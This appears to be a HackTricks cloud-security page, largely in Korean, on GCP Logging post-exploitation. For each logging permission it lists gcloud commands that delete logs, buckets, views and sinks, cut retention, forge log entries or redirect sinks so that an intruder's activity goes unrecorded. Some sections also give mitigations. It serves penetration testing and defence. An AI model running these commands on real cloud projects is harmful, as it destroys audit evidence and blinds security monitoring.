GCP - Logging Post Exploitation

Support HackTricks

기본 정보

더 많은 정보는 다음을 확인하세요:

GCP - Logging Enum

모니터링을 방해하는 다른 방법은 다음을 확인하세요:

GCP - Monitoring Post Exploitation

기본 로깅

기본적으로 읽기 작업을 수행한다고 해서 잡히지 않습니다. 자세한 내용은 로깅 열거 섹션을 확인하세요.

예외 원칙 추가

https://console.cloud.google.com/iam-admin/audit/allserviceshttps://console.cloud.google.com/iam-admin/audit에서 로그를 생성하지 않도록 원칙을 추가할 수 있습니다. 공격자는 이를 악용하여 잡히지 않도록 할 수 있습니다.

로그 읽기 - logging.logEntries.list

# Read logs
gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json

# Everything from a timestamp
gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=json

# Use these options to indicate a different bucket or view to use: --bucket=_Required  --view=_Default

logging.logs.delete

# Delete all entries from a log in the _Default log bucket - logging.logs.delete
gcloud logging logs delete <log-name>

로그 작성 - logging.logEntries.create

# Write a log entry to try to disrupt some system
gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR

logging.buckets.update

# Set retention period to 1 day (_Required has a fixed one of 400days)

gcloud logging buckets update bucketlog --location=<location> --description="New description" --retention-days=1

logging.buckets.delete

설명

이 권한은 특정 프로젝트의 로그 버킷을 삭제할 수 있게 합니다. 로그 버킷을 삭제하면 해당 버킷에 저장된 모든 로그 데이터가 영구적으로 제거됩니다.

위험

로그 버킷을 삭제하면 중요한 로그 데이터가 손실될 수 있으며, 이는 보안 사고 조사 및 규정 준수를 어렵게 만들 수 있습니다.

완화

이 권한을 제한된 사용자에게만 부여하고, 로그 버킷 삭제 작업을 모니터링하여 비정상적인 활동을 감지합니다.

# Delete log bucket
gcloud logging buckets delete BUCKET_NAME --location=<location>

logging.links.delete

# Delete link
gcloud logging links delete <link-id> --bucket <bucket> --location <location>

logging.views.delete

설명

이 권한은 특정 로그 뷰를 삭제할 수 있게 합니다. 로그 뷰는 로그 데이터를 필터링하고 특정 조건에 맞는 로그만 볼 수 있게 합니다. 이 권한을 사용하면 특정 로그 뷰를 삭제하여 로그 데이터 접근을 제한할 수 있습니다.

악용

공격자는 logging.views.delete 권한을 사용하여 특정 로그 뷰를 삭제함으로써, 자신들의 활동을 숨길 수 있습니다. 이를 통해 탐지를 피하고, 침해 후 활동을 은폐할 수 있습니다.

완화

  • 최소 권한 원칙을 적용하여 불필요한 권한을 부여하지 않습니다.

  • 로그 뷰 삭제 활동을 모니터링하고, 의심스러운 활동이 감지되면 즉시 조사합니다.

  • 정기적인 권한 검토를 통해 불필요한 권한을 제거합니다.

# Delete a logging view to remove access to anyone using it
gcloud logging views delete <view-id> --bucket=<bucket> --location=global

logging.views.update

# Update a logging view to hide data
gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"

logging.logMetrics.update

# Update log based metrics - logging.logMetrics.update
gcloud logging metrics update <metric-name> --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID

logging.logMetrics.delete

logging.logMetrics.delete 권한을 사용하면 pentesting 동안 생성된 log-based metrics를 삭제할 수 있습니다. 이 권한을 사용하여 공격자가 탐지되지 않도록 할 수 있습니다.

logging.sinks.delete

logging.sinks.delete 권한을 사용하면 pentesting 동안 생성된 log sinks를 삭제할 수 있습니다. 이 권한을 사용하여 공격자가 탐지되지 않도록 할 수 있습니다.

logging.exclusions.create

logging.exclusions.create 권한을 사용하면 특정 log entries를 제외할 수 있습니다. 이 권한을 사용하여 공격자가 탐지되지 않도록 할 수 있습니다.

logging.exclusions.delete

logging.exclusions.delete 권한을 사용하면 pentesting 동안 생성된 log exclusions를 삭제할 수 있습니다. 이 권한을 사용하여 공격자가 탐지되지 않도록 할 수 있습니다.

# Delete log based metrics - logging.logMetrics.delete
gcloud logging metrics delete <metric-name>

logging.sinks.delete

logging.sinks.delete 권한을 사용하면 공격자는 로그 싱크를 삭제하여 특정 로그가 저장되지 않도록 할 수 있습니다. 이는 공격자가 활동을 숨기기 위해 사용할 수 있는 방법 중 하나입니다.

gcloud logging sinks delete [SINK_NAME]

이 명령어는 지정된 로그 싱크를 삭제합니다.

# Delete sink - logging.sinks.delete
gcloud logging sinks delete <sink-name>

logging.sinks.update

# Disable sink - logging.sinks.update
gcloud logging sinks update <sink-name> --disabled

# Createa filter to exclude attackers logs - logging.sinks.update
gcloud logging sinks update SINK_NAME --add-exclusion="name=exclude-info-logs,filter=severity<INFO"

# Change where the sink is storing the data - logging.sinks.update
gcloud logging sinks update <sink-name> new-destination

# Change the service account to one withuot permissions to write in the destination - logging.sinks.update
gcloud logging sinks update SINK_NAME --custom-writer-identity=attacker-service-account-email --project=PROJECT_ID

# Remove explusions to try to overload with logs - logging.sinks.update
gcloud logging sinks update SINK_NAME --clear-exclusions

# If the sink exports to BigQuery, an attacker might enable or disable the use of partitioned tables, potentially leading to inefficient querying and higher costs. - logging.sinks.update
gcloud logging sinks update SINK_NAME --use-partitioned-tables
gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
Support HackTricks

Last updated